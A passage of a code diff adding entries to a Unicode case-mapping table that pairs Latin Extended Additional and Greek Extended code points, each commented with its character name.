+ [0x1e0e, 0x1e0f], /* LATIN CAPITAL LETTER D WITH LINE BELOW */
+ [0x1e0e, 0x1e0f], /* LATIN SMALL LETTER D WITH LINE BELOW */
+ [0x1e10, 0x1e11], /* LATIN CAPITAL LETTER D WITH CEDILLA */
+ [0x1e10, 0x1e11], /* LATIN SMALL LETTER D WITH CEDILLA */
+ [0x1e12, 0x1e13], /* LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW */
+ [0x1e12, 0x1e13], /* LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW */
+ [0x1e14, 0x1e15], /* LATIN CAPITAL LETTER E WITH MACRON AND GRAVE */
+ [0x1e14, 0x1e15], /* LATIN SMALL LETTER E WITH MACRON AND GRAVE */
+ [0x1e16, 0x1e17], /* LATIN CAPITAL LETTER E WITH MACRON AND ACUTE */
+ [0x1e16, 0x1e17], /* LATIN SMALL LETTER E WITH MACRON AND ACUTE */
+ [0x1e18, 0x1e19], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW */
+ [0x1e18, 0x1e19], /* LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW */
+ [0x1e1a, 0x1e1b], /* LATIN CAPITAL LETTER E WITH TILDE BELOW */
+ [0x1e1a, 0x1e1b], /* LATIN SMALL LETTER E WITH TILDE BELOW */
+ [0x1e1c, 0x1e1d], /* LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE */
+ [0x1e1c, 0x1e1d], /* LATIN SMALL LETTER E WITH CEDILLA AND BREVE */
+ [0x1e1e, 0x1e1f], /* LATIN CAPITAL LETTER F WITH DOT ABOVE */
+ [0x1e1e, 0x1e1f], /* LATIN SMALL LETTER F WITH DOT ABOVE */
+ [0x1e20, 0x1e21], /* LATIN CAPITAL LETTER G WITH MACRON */
+ [0x1e20, 0x1e21], /* LATIN SMALL LETTER G WITH MACRON */
+ [0x1e22, 0x1e23], /* LATIN CAPITAL LETTER H WITH DOT ABOVE */
+ [0x1e22, 0x1e23], /* LATIN SMALL LETTER H WITH DOT ABOVE */
+ [0x1e24, 0x1e25], /* LATIN CAPITAL LETTER H WITH DOT BELOW */
+ [0x1e24, 0x1e25], /* LATIN SMALL LETTER H WITH DOT BELOW */
+ [0x1e26, 0x1e27], /* LATIN CAPITAL LETTER H WITH DIAERESIS */
+ [0x1e26, 0x1e27], /* LATIN SMALL LETTER H WITH DIAERESIS */
+ [0x1e28, 0x1e29], /* LATIN CAPITAL LETTER H WITH CEDILLA */
+ [0x1e28, 0x1e29], /* LATIN SMALL LETTER H WITH CEDILLA */
+ [0x1e2a, 0x1e2b], /* LATIN CAPITAL LETTER H WITH BREVE BELOW */
+ [0x1e2a, 0x1e2b], /* LATIN SMALL LETTER H WITH BREVE BELOW */
+ [0x1e2c, 0x1e2d], /* LATIN CAPITAL LETTER I WITH TILDE BELOW */
+ [0x1e2c, 0x1e2d], /* LATIN SMALL LETTER I WITH TILDE BELOW */
+ [0x1e2e, 0x1e2f], /* LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE */
+ [0x1e2e, 0x1e2f], /* LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE */
+ [0x1e30, 0x1e31], /* LATIN CAPITAL LETTER K WITH ACUTE */
+ [0x1e30, 0x1e31], /* LATIN SMALL LETTER K WITH ACUTE */
+ [0x1e32, 0x1e33], /* LATIN CAPITAL LETTER K WITH DOT BELOW */
+ [0x1e32, 0x1e33], /* LATIN SMALL LETTER K WITH DOT BELOW */
+ [0x1e34, 0x1e35], /* LATIN CAPITAL LETTER K WITH LINE BELOW */
+ [0x1e34, 0x1e35], /* LATIN SMALL LETTER K WITH LINE BELOW */
+ [0x1e36, 0x1e37], /* LATIN CAPITAL LETTER L WITH DOT BELOW */
+ [0x1e36, 0x1e37], /* LATIN SMALL LETTER L WITH DOT BELOW */
+ [0x1e38, 0x1e39], /* LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON */
+ [0x1e38, 0x1e39], /* LATIN SMALL LETTER L WITH DOT BELOW AND MACRON */
+ [0x1e3a, 0x1e3b], /* LATIN CAPITAL LETTER L WITH LINE BELOW */
+ [0x1e3a, 0x1e3b], /* LATIN SMALL LETTER L WITH LINE BELOW */
+ [0x1e3c, 0x1e3d], /* LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW */
+ [0x1e3c, 0x1e3d], /* LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW */
+ [0x1e3e, 0x1e3f], /* LATIN CAPITAL LETTER M WITH ACUTE */
+ [0x1e3e, 0x1e3f], /* LATIN SMALL LETTER M WITH ACUTE */
+ [0x1e40, 0x1e41], /* LATIN CAPITAL LETTER M WITH DOT ABOVE */
+ [0x1e40, 0x1e41], /* LATIN SMALL LETTER M WITH DOT ABOVE */
+ [0x1e42, 0x1e43], /* LATIN CAPITAL LETTER M WITH DOT BELOW */
+ [0x1e42, 0x1e43], /* LATIN SMALL LETTER M WITH DOT BELOW */
+ [0x1e44, 0x1e45], /* LATIN CAPITAL LETTER N WITH DOT ABOVE */
+ [0x1e44, 0x1e45], /* LATIN SMALL LETTER N WITH DOT ABOVE */
+ [0x1e46, 0x1e47], /* LATIN CAPITAL LETTER N WITH DOT BELOW */
+ [0x1e46, 0x1e47], /* LATIN SMALL LETTER N WITH DOT BELOW */
+ [0x1e48, 0x1e49], /* LATIN CAPITAL LETTER N WITH LINE BELOW */
+ [0x1e48, 0x1e49], /* LATIN SMALL LETTER N WITH LINE BELOW */
+ [0x1e4a, 0x1e4b], /* LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW */
+ [0x1e4a, 0x1e4b], /* LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW */
+ [0x1e4c, 0x1e4d], /* LATIN CAPITAL LETTER O WITH TILDE AND ACUTE */
+ [0x1e4c, 0x1e4d], /* LATIN SMALL LETTER O WITH TILDE AND ACUTE */
+ [0x1e4e, 0x1e4f], /* LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS */
+ [0x1e4e, 0x1e4f], /* LATIN SMALL LETTER O WITH TILDE AND DIAERESIS */
+ [0x1e50, 0x1e51], /* LATIN CAPITAL LETTER O WITH MACRON AND GRAVE */
+ [0x1e50, 0x1e51], /* LATIN SMALL LETTER O WITH MACRON AND GRAVE */
+ [0x1e52, 0x1e53], /* LATIN CAPITAL LETTER O WITH MACRON AND ACUTE */
+ [0x1e52, 0x1e53], /* LATIN SMALL LETTER O WITH MACRON AND ACUTE */
+ [0x1e54, 0x1e55], /* LATIN CAPITAL LETTER P WITH ACUTE */
+ [0x1e54, 0x1e55], /* LATIN SMALL LETTER P WITH ACUTE */
+ [0x1e56, 0x1e57], /* LATIN CAPITAL LETTER P WITH DOT ABOVE */
+ [0x1e56, 0x1e57], /* LATIN SMALL LETTER P WITH DOT ABOVE */
+ [0x1e58, 0x1e59], /* LATIN CAPITAL LETTER R WITH DOT ABOVE */
+ [0x1e58, 0x1e59], /* LATIN SMALL LETTER R WITH DOT ABOVE */
+ [0x1e5a, 0x1e5b], /* LATIN CAPITAL LETTER R WITH DOT BELOW */
+ [0x1e5a, 0x1e5b], /* LATIN SMALL LETTER R WITH DOT BELOW */
+ [0x1e5c, 0x1e5d], /* LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON */
+ [0x1e5c, 0x1e5d], /* LATIN SMALL LETTER R WITH DOT BELOW AND MACRON */
+ [0x1e5e, 0x1e5f], /* LATIN CAPITAL LETTER R WITH LINE BELOW */
+ [0x1e5e, 0x1e5f], /* LATIN SMALL LETTER R WITH LINE BELOW */
+ [0x1e60, 0x1e61], /* LATIN CAPITAL LETTER S WITH DOT ABOVE */
+ [0x1e60, 0x1e61], /* LATIN SMALL LETTER S WITH DOT ABOVE */
+ [0x1e62, 0x1e63], /* LATIN CAPITAL LETTER S WITH DOT BELOW */
+ [0x1e62, 0x1e63], /* LATIN SMALL LETTER S WITH DOT BELOW */
+ [0x1e64, 0x1e65], /* LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE */
+ [0x1e64, 0x1e65], /* LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE */
+ [0x1e66, 0x1e67], /* LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE */
+ [0x1e66, 0x1e67], /* LATIN SMALL LETTER S WITH CARON AND DOT ABOVE */
+ [0x1e68, 0x1e69], /* LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE */
+ [0x1e68, 0x1e69], /* LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE */
+ [0x1e6a, 0x1e6b], /* LATIN CAPITAL LETTER T WITH DOT ABOVE */
+ [0x1e6a, 0x1e6b], /* LATIN SMALL LETTER T WITH DOT ABOVE */
+ [0x1e6c, 0x1e6d], /* LATIN CAPITAL LETTER T WITH DOT BELOW */
+ [0x1e6c, 0x1e6d], /* LATIN SMALL LETTER T WITH DOT BELOW */
+ [0x1e6e, 0x1e6f], /* LATIN CAPITAL LETTER T WITH LINE BELOW */
+ [0x1e6e, 0x1e6f], /* LATIN SMALL LETTER T WITH LINE BELOW */
+ [0x1e70, 0x1e71], /* LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW */
+ [0x1e70, 0x1e71], /* LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW */
+ [0x1e72, 0x1e73], /* LATIN CAPITAL LETTER U WITH DIAERESIS BELOW */
+ [0x1e72, 0x1e73], /* LATIN SMALL LETTER U WITH DIAERESIS BELOW */
+ [0x1e74, 0x1e75], /* LATIN CAPITAL LETTER U WITH TILDE BELOW */
+ [0x1e74, 0x1e75], /* LATIN SMALL LETTER U WITH TILDE BELOW */
+ [0x1e76, 0x1e77], /* LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW */
+ [0x1e76, 0x1e77], /* LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW */
+ [0x1e78, 0x1e79], /* LATIN CAPITAL LETTER U WITH TILDE AND ACUTE */
+ [0x1e78, 0x1e79], /* LATIN SMALL LETTER U WITH TILDE AND ACUTE */
+ [0x1e7a, 0x1e7b], /* LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS */
+ [0x1e7a, 0x1e7b], /* LATIN SMALL LETTER U WITH MACRON AND DIAERESIS */
+ [0x1e7c, 0x1e7d], /* LATIN CAPITAL LETTER V WITH TILDE */
+ [0x1e7c, 0x1e7d], /* LATIN SMALL LETTER V WITH TILDE */
+ [0x1e7e, 0x1e7f], /* LATIN CAPITAL LETTER V WITH DOT BELOW */
+ [0x1e7e, 0x1e7f], /* LATIN SMALL LETTER V WITH DOT BELOW */
+ [0x1e80, 0x1e81], /* LATIN CAPITAL LETTER W WITH GRAVE */
+ [0x1e80, 0x1e81], /* LATIN SMALL LETTER W WITH GRAVE */
+ [0x1e82, 0x1e83], /* LATIN CAPITAL LETTER W WITH ACUTE */
+ [0x1e82, 0x1e83], /* LATIN SMALL LETTER W WITH ACUTE */
+ [0x1e84, 0x1e85], /* LATIN CAPITAL LETTER W WITH DIAERESIS */
+ [0x1e84, 0x1e85], /* LATIN SMALL LETTER W WITH DIAERESIS */
+ [0x1e86, 0x1e87], /* LATIN CAPITAL LETTER W WITH DOT ABOVE */
+ [0x1e86, 0x1e87], /* LATIN SMALL LETTER W WITH DOT ABOVE */
+ [0x1e88, 0x1e89], /* LATIN CAPITAL LETTER W WITH DOT BELOW */
+ [0x1e88, 0x1e89], /* LATIN SMALL LETTER W WITH DOT BELOW */
+ [0x1e8a, 0x1e8b], /* LATIN CAPITAL LETTER X WITH DOT ABOVE */
+ [0x1e8a, 0x1e8b], /* LATIN SMALL LETTER X WITH DOT ABOVE */
+ [0x1e8c, 0x1e8d], /* LATIN CAPITAL LETTER X WITH DIAERESIS */
+ [0x1e8c, 0x1e8d], /* LATIN SMALL LETTER X WITH DIAERESIS */
+ [0x1e8e, 0x1e8f], /* LATIN CAPITAL LETTER Y WITH DOT ABOVE */
+ [0x1e8e, 0x1e8f], /* LATIN SMALL LETTER Y WITH DOT ABOVE */
+ [0x1e90, 0x1e91], /* LATIN CAPITAL LETTER Z WITH CIRCUMFLEX */
+ [0x1e90, 0x1e91], /* LATIN SMALL LETTER Z WITH CIRCUMFLEX */
+ [0x1e92, 0x1e93], /* LATIN CAPITAL LETTER Z WITH DOT BELOW */
+ [0x1e92, 0x1e93], /* LATIN SMALL LETTER Z WITH DOT BELOW */
+ [0x1e94, 0x1e95], /* LATIN CAPITAL LETTER Z WITH LINE BELOW */
+ [0x1e94, 0x1e95], /* LATIN SMALL LETTER Z WITH LINE BELOW */
+ [0x1e96, 0x1e96], /* LATIN SMALL LETTER H WITH LINE BELOW */
+ [0x1e97, 0x1e97], /* LATIN SMALL LETTER T WITH DIAERESIS */
+ [0x1e98, 0x1e98], /* LATIN SMALL LETTER W WITH RING ABOVE */
+ [0x1e99, 0x1e99], /* LATIN SMALL LETTER Y WITH RING ABOVE */
+ [0x1e9a, 0x1e9a], /* LATIN SMALL LETTER A WITH RIGHT HALF RING */
+ [0x1e60, 0x1e9b], /* LATIN SMALL LETTER LONG S WITH DOT ABOVE */
+ [0x1e9c, 0x1e9c], /* LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE */
+ [0x1e9d, 0x1e9d], /* LATIN SMALL LETTER LONG S WITH HIGH STROKE */
+ [0x1e9e, 0xdf], /* LATIN CAPITAL LETTER SHARP S */
+ [0x1e9f, 0x1e9f], /* LATIN SMALL LETTER DELTA */
+ [0x1ea0, 0x1ea1], /* LATIN CAPITAL LETTER A WITH DOT BELOW */
+ [0x1ea0, 0x1ea1], /* LATIN SMALL LETTER A WITH DOT BELOW */
+ [0x1ea2, 0x1ea3], /* LATIN CAPITAL LETTER A WITH HOOK ABOVE */
+ [0x1ea2, 0x1ea3], /* LATIN SMALL LETTER A WITH HOOK ABOVE */
+ [0x1ea4, 0x1ea5], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE */
+ [0x1ea4, 0x1ea5], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE */
+ [0x1ea6, 0x1ea7], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE */
+ [0x1ea6, 0x1ea7], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE */
+ [0x1ea8, 0x1ea9], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE */
+ [0x1ea8, 0x1ea9], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE */
+ [0x1eaa, 0x1eab], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE */
+ [0x1eaa, 0x1eab], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE */
+ [0x1eac, 0x1ead], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW */
+ [0x1eac, 0x1ead], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW */
+ [0x1eae, 0x1eaf], /* LATIN CAPITAL LETTER A WITH BREVE AND ACUTE */
+ [0x1eae, 0x1eaf], /* LATIN SMALL LETTER A WITH BREVE AND ACUTE */
+ [0x1eb0, 0x1eb1], /* LATIN CAPITAL LETTER A WITH BREVE AND GRAVE */
+ [0x1eb0, 0x1eb1], /* LATIN SMALL LETTER A WITH BREVE AND GRAVE */
+ [0x1eb2, 0x1eb3], /* LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE */
+ [0x1eb2, 0x1eb3], /* LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE */
+ [0x1eb4, 0x1eb5], /* LATIN CAPITAL LETTER A WITH BREVE AND TILDE */
+ [0x1eb4, 0x1eb5], /* LATIN SMALL LETTER A WITH BREVE AND TILDE */
+ [0x1eb6, 0x1eb7], /* LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW */
+ [0x1eb6, 0x1eb7], /* LATIN SMALL LETTER A WITH BREVE AND DOT BELOW */
+ [0x1eb8, 0x1eb9], /* LATIN CAPITAL LETTER E WITH DOT BELOW */
+ [0x1eb8, 0x1eb9], /* LATIN SMALL LETTER E WITH DOT BELOW */
+ [0x1eba, 0x1ebb], /* LATIN CAPITAL LETTER E WITH HOOK ABOVE */
+ [0x1eba, 0x1ebb], /* LATIN SMALL LETTER E WITH HOOK ABOVE */
+ [0x1ebc, 0x1ebd], /* LATIN CAPITAL LETTER E WITH TILDE */
+ [0x1ebc, 0x1ebd], /* LATIN SMALL LETTER E WITH TILDE */
+ [0x1ebe, 0x1ebf], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE */
+ [0x1ebe, 0x1ebf], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE */
+ [0x1ec0, 0x1ec1], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE */
+ [0x1ec0, 0x1ec1], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE */
+ [0x1ec2, 0x1ec3], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE */
+ [0x1ec2, 0x1ec3], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE */
+ [0x1ec4, 0x1ec5], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE */
+ [0x1ec4, 0x1ec5], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE */
+ [0x1ec6, 0x1ec7], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW */
+ [0x1ec6, 0x1ec7], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW */
+ [0x1ec8, 0x1ec9], /* LATIN CAPITAL LETTER I WITH HOOK ABOVE */
+ [0x1ec8, 0x1ec9], /* LATIN SMALL LETTER I WITH HOOK ABOVE */
+ [0x1eca, 0x1ecb], /* LATIN CAPITAL LETTER I WITH DOT BELOW */
+ [0x1eca, 0x1ecb], /* LATIN SMALL LETTER I WITH DOT BELOW */
+ [0x1ecc, 0x1ecd], /* LATIN CAPITAL LETTER O WITH DOT BELOW */
+ [0x1ecc, 0x1ecd], /* LATIN SMALL LETTER O WITH DOT BELOW */
+ [0x1ece, 0x1ecf], /* LATIN CAPITAL LETTER O WITH HOOK ABOVE */
+ [0x1ece, 0x1ecf], /* LATIN SMALL LETTER O WITH HOOK ABOVE */
+ [0x1ed0, 0x1ed1], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE */
+ [0x1ed0, 0x1ed1], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE */
+ [0x1ed2, 0x1ed3], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE */
+ [0x1ed2, 0x1ed3], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE */
+ [0x1ed4, 0x1ed5], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE */
+ [0x1ed4, 0x1ed5], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE */
+ [0x1ed6, 0x1ed7], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE */
+ [0x1ed6, 0x1ed7], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE */
+ [0x1ed8, 0x1ed9], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW */
+ [0x1ed8, 0x1ed9], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW */
+ [0x1eda, 0x1edb], /* LATIN CAPITAL LETTER O WITH HORN AND ACUTE */
+ [0x1eda, 0x1edb], /* LATIN SMALL LETTER O WITH HORN AND ACUTE */
+ [0x1edc, 0x1edd], /* LATIN CAPITAL LETTER O WITH HORN AND GRAVE */
+ [0x1edc, 0x1edd], /* LATIN SMALL LETTER O WITH HORN AND GRAVE */
+ [0x1ede, 0x1edf], /* LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE */
+ [0x1ede, 0x1edf], /* LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE */
+ [0x1ee0, 0x1ee1], /* LATIN CAPITAL LETTER O WITH HORN AND TILDE */
+ [0x1ee0, 0x1ee1], /* LATIN SMALL LETTER O WITH HORN AND TILDE */
+ [0x1ee2, 0x1ee3], /* LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW */
+ [0x1ee2, 0x1ee3], /* LATIN SMALL LETTER O WITH HORN AND DOT BELOW */
+ [0x1ee4, 0x1ee5], /* LATIN CAPITAL LETTER U WITH DOT BELOW */
+ [0x1ee4, 0x1ee5], /* LATIN SMALL LETTER U WITH DOT BELOW */
+ [0x1ee6, 0x1ee7], /* LATIN CAPITAL LETTER U WITH HOOK ABOVE */
+ [0x1ee6, 0x1ee7], /* LATIN SMALL LETTER U WITH HOOK ABOVE */
+ [0x1ee8, 0x1ee9], /* LATIN CAPITAL LETTER U WITH HORN AND ACUTE */
+ [0x1ee8, 0x1ee9], /* LATIN SMALL LETTER U WITH HORN AND ACUTE */
+ [0x1eea, 0x1eeb], /* LATIN CAPITAL LETTER U WITH HORN AND GRAVE */
+ [0x1eea, 0x1eeb], /* LATIN SMALL LETTER U WITH HORN AND GRAVE */
+ [0x1eec, 0x1eed], /* LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE */
+ [0x1eec, 0x1eed], /* LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE */
+ [0x1eee, 0x1eef], /* LATIN CAPITAL LETTER U WITH HORN AND TILDE */
+ [0x1eee, 0x1eef], /* LATIN SMALL LETTER U WITH HORN AND TILDE */
+ [0x1ef0, 0x1ef1], /* LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW */
+ [0x1ef0, 0x1ef1], /* LATIN SMALL LETTER U WITH HORN AND DOT BELOW */
+ [0x1ef2, 0x1ef3], /* LATIN CAPITAL LETTER Y WITH GRAVE */
+ [0x1ef2, 0x1ef3], /* LATIN SMALL LETTER Y WITH GRAVE */
+ [0x1ef4, 0x1ef5], /* LATIN CAPITAL LETTER Y WITH DOT BELOW */
+ [0x1ef4, 0x1ef5], /* LATIN SMALL LETTER Y WITH DOT BELOW */
+ [0x1ef6, 0x1ef7], /* LATIN CAPITAL LETTER Y WITH HOOK ABOVE */
+ [0x1ef6, 0x1ef7], /* LATIN SMALL LETTER Y WITH HOOK ABOVE */
+ [0x1ef8, 0x1ef9], /* LATIN CAPITAL LETTER Y WITH TILDE */
+ [0x1ef8, 0x1ef9], /* LATIN SMALL LETTER Y WITH TILDE */
+ [0x1efa, 0x1efb], /* LATIN CAPITAL LETTER MIDDLE-WELSH LL */
+ [0x1efa, 0x1efb], /* LATIN SMALL LETTER MIDDLE-WELSH LL */
+ [0x1efc, 0x1efd], /* LATIN CAPITAL LETTER MIDDLE-WELSH V */
+ [0x1efc, 0x1efd], /* LATIN SMALL LETTER MIDDLE-WELSH V */
+ [0x1efe, 0x1eff], /* LATIN CAPITAL LETTER Y WITH LOOP */
+ [0x1efe, 0x1eff], /* LATIN SMALL LETTER Y WITH LOOP */
+ [0x1f08, 0x1f00], /* GREEK SMALL LETTER ALPHA WITH PSILI */
+ [0x1f09, 0x1f01], /* GREEK SMALL LETTER ALPHA WITH DASIA */
+ [0x1f0a, 0x1f02], /* GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA */
+ [0x1f0b, 0x1f03], /* GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA */
+ [0x1f0c, 0x1f04], /* GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA */
+ [0x1f0d, 0x1f05], /* GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA */
+ [0x1f0e, 0x1f06], /* GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI */
+ [0x1f0f, 0x1f07], /* GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI */
+ [0x1f08, 0x1f00], /* GREEK CAPITAL LETTER ALPHA WITH PSILI */
+ [0x1f09, 0x1f01], /* GREEK CAPITAL LETTER ALPHA WITH DASIA */
+ [0x1f0a, 0x1f02], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA */
+ [0x1f0b, 0x1f03], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA */
+ [0x1f0c, 0x1f04], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA */
+ [0x1f0d, 0x1f05], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA */
+ [0x1f0e, 0x1f06], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI */
+ [0x1f0f, 0x1f07], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI */
+ [0x1f18, 0x1f10], /* GREEK SMALL LETTER EPSILON WITH PSILI */
+ [0x1f19, 0x1f11], /* GREEK SMALL LETTER EPSILON WITH DASIA */
+ [0x1f1a, 0x1f12], /* GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA */
+ [0x1f1b, 0x1f13], /* GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA */
+ [0x1f1c, 0x1f14], /* GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA */
+ [0x1f1d, 0x1f15], /* GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA */
+ [0x1f16, 0x1f16],
+ [0x1f17, 0x1f17],
+ [0x1f18, 0x1f10], /* GREEK CAPITAL LETTER EPSILON WITH PSILI */
+ [0x1f19, 0x1f11], /* GREEK CAPITAL LETTER EPSILON WITH DASIA */
+ [0x1f1a, 0x1f12], /* GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA */
+ [0x1f1b, 0x1f13], /* GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA */
+ [0x1f1c, 0x1f14], /* GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA */
+ [0x1f1d, 0x1f15], /* GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA */
+ [0x1f1e, 0x1f1e],
+ [0x1f1f, 0x1f1f],
+ [0x1f28, 0x1f20], /* GREEK SMALL LETTER ETA WITH PSILI */
+ [0x1f29, 0x1f21], /* GREEK SMALL LETTER ETA WITH DASIA */
+ [0x1f2a, 0x1f22], /* GREEK SMALL LETTER ETA WITH PSILI AND VARIA */
+ [0x1f2b, 0x1f23], /* GREEK SMALL LETTER ETA WITH DASIA AND VARIA */
+ [0x1f2c, 0x1f24], /* GREEK SMALL LETTER ETA WITH PSILI AND OXIA */
+ [0x1f2d, 0x1f25], /* GREEK SMALL LETTER ETA WITH DASIA AND OXIA */
+ [0x1f2e, 0x1f26], /* GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI */
+ [0x1f2f, 0x1f27], /* GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI */
+ [0x1f28, 0x1f20], /* GREEK CAPITAL LETTER ETA WITH PSILI */
+ [0x1f29, 0x1f21], /* GREEK CAPITAL LETTER ETA WITH DASIA */
+ [0x1f2a, 0x1f22], /* GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA */
+ [0x1f2b, 0x1f23], /* GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA */
+ [0x1f2c, 0x1f24], /* GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA */
+ [0x1f2d, 0x1f25], /* GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA */
+ [0x1f2e, 0x1f26], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI */
+ [0x1f2f, 0x1f27], /* GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI */
+ [0x1f38, 0x1f30], /* GREEK SMALL LETTER IOTA WITH PSILI */
+ [0x1f39, 0x1f31], /* GREEK SMALL LETTER IOTA WITH DASIA */
+ [0x1f3a, 0x1f32], /* GREEK SMALL LETTER IOTA WITH PSILI AND VARIA */
+ [0x1f3b, 0x1f33], /* GREEK SMALL LETTER IOTA WITH DASIA AND VARIA */
+ [0x1f3c, 0x1f34], /* GREEK SMALL LETTER IOTA WITH PSILI AND OXIA */
+ [0x1f3d, 0x1f35], /* GREEK SMALL LETTER IOTA WITH DASIA AND OXIA */
+ [0x1f3e, 0x1f36], /* GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI */
+ [0x1f3f, 0x1f37], /* GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI */
+ [0x1f38, 0x1f30], /* GREEK CAPITAL LETTER IOTA WITH PSILI */
+ [0x1f39, 0x1f31], /* GREEK CAPITAL LETTER IOTA WITH DASIA */
+ [0x1f3a, 0x1f32], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA */
+ [0x1f3b, 0x1f33], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA */
+ [0x1f3c, 0x1f34], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA */
+ [0x1f3d, 0x1f35], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA */
+ [0x1f3e, 0x1f36], /* GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI */
+ [0x1f3f, 0x1f37], /* GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI */
+ [0x1f48, 0x1f40], /* GREEK SMALL LETTER OMICRON WITH PSILI */
+ [0x1f49, 0x1f41], /* GREEK SMALL LETTER OMICRON WITH DASIA */
+ [0x1f4a, 0x1f42], /* GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA */
+ [0x1f4b, 0x1f43], /* GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA */
+ [0x1f4c, 0x1f44], /* GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA */
